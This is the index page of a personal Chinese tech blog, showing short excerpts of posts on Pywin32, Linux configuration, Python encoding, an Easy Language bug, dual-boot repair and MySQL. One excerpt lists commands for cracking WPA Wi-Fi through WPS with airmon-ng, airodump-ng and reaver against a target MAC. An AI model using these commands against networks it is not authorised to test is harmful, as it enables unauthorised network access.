CrystalRays的技术博客

咱暂且先用LOFTER,以后有时间了再自己建站吧

Pywin32学习小记(一)——CreateWindow()

一、C++函数原型

引用MSDN:

HWND WINAPI CreateWindow( 
  _In_opt_ LPCTSTR   lpClassName, 
  _In_opt_ LPCTSTR   lpWindowName, 
  _In_     DWORD     dwStyle, 
  _In_     int       x, 
 ...

Linux学习小记(十二)——创建符号链接实现终端打开sublime text 3

这是deepin下的命令,其他Linux类似

sudo ln -s /opt/sublime_text_3/sublime_text /usr/bin/subl

Python学习小记(二)——论在文件头注明编码的重要性

没想到含有中文注释的py在win下能正常运行,在Linux就报错了2333

后来发现并不是编码的问题,而是win下用的是python3,换到Linux,它默认变成了python2,而python2比较笨,要你注明编码,python3就不用了。。。好像还是编码的问题啊

所以。。。如果是python2一定要加这段代码啊:

# -*- coding: UTF-8 -*-

python3就不用了

Pytho学习小记(一)——临时子程序?!——if __name__ == '__main__的作用

if __name__ == '__main__:

    在这个语句内的内容在此py文件被引用的状态下是不会执行的,只有自己执行的时候才会被执行

易语言控件数组删除末尾成员控件并不消失的bug的问题分析

为了实现动态添加图形按钮,我自然是创建了一个初始数组成员数为0的图形按钮数组。然后通过在需要的时候向其中加入成员来扩张数组成员数,然后复制已经存在的作为模板的图形按钮来得到任意数量图形按钮。部分代码示例如下:

图形按钮数量=图形按钮数量+1
加入成员(图形按钮数组,NULL)
复制窗口组件(模板图形按钮,图形按钮数组[图形按钮数量])

但是这样运行以后并不会有一个图形按钮添加进来,然后我发现“如果复制时被复制窗口组件所在的窗口已经被载入,该组件会被立即创建,但此时无论该组件的“可视”属性是真还是假,创建后的单元都将不会被显示,以便于用户进行属性调整。”

所以你还需要一句:...

Linux学习小记(十一)——Reaver破解wpa加密wifi

安装工具 sudo apt-get install aircrack-ng & reaver

查看网卡 ifconfig 或 sudo airmon-ng

开启监听 sudo airmon-ng start wlp8s0

探测网络 sudo airodump-ng wlp8s0mon0

开始破解 reaver -i wlp8s0mon0 -b MAC -a -S -v -d 5


reaver详解

-s *.wps 继续wps文件的进程

-o *      ...

linux学习小记(十)——解决Deepin 2015.4安装后Windows无法启动(不适用于EF

首先讲一下我遇到的问题: 

1、配置环境:电脑有两个硬盘,A硬盘装了Windows10和Deepin以及Windows的引导(NTBootmgr),B硬盘装文件和Deepin的引导。

2、问题出现:今天通过全新安装将Deepin15.3升级到Deepin15.4,结果从A硬盘引导提示Operating system missing。

3、问题分析:两硬盘前63bit的引导信息和两个系统所在的分区以及他们的引导文件都正常。问题出在了Deepin安装完后它将他自己所在的分区设置成了活动分区(boot),导致A硬盘中的NTBootmgr在活动分区找不到Windows而导致的错误。...

Linux学习小记(九)——用户路径下终端运行特定目录的文件

打开bashrc文件 

sudo gedit ~/.bashrc 

在文件末尾加上 

export PATH=$PATH:特定目录

Example:实现终端输入TIM.lnk运行crossover的TIM程序

#set TIM command

export PATH=$PATH:/home/crystalrays/.cxoffice/TIM/desktopdata/cxmenu/StartMenu.C^5E3A_users_crossover_Start^2BMenu/Programs


linux学习小记(八)——Java默认版本切换

查看当前版本:java -version 

查看全部版本并选择默认版本:sudo update-alternatives --config java

MySQL无法启动和关闭的解决办法参考

今天发现电脑里的mysqld进程的占用还不小,于是想让他先停停,因为近段时间用不到。

结果无论是MySQL Monitor 还是Workbench都Shutdown failed。(大神,别揶揄我用图形界面,我只是小白)

Workbench很粗暴,就显示 

2017-02-02 16:52:55 - Server stop done.
2017-02-02 16:52:55 - Checking server status...
2017-02-02 16:52:55 - MySQL server is currently running
2017-02-02 16:52:55 -...

3 / 5

© CrystalRays的技术博客 | Powered by LOFTER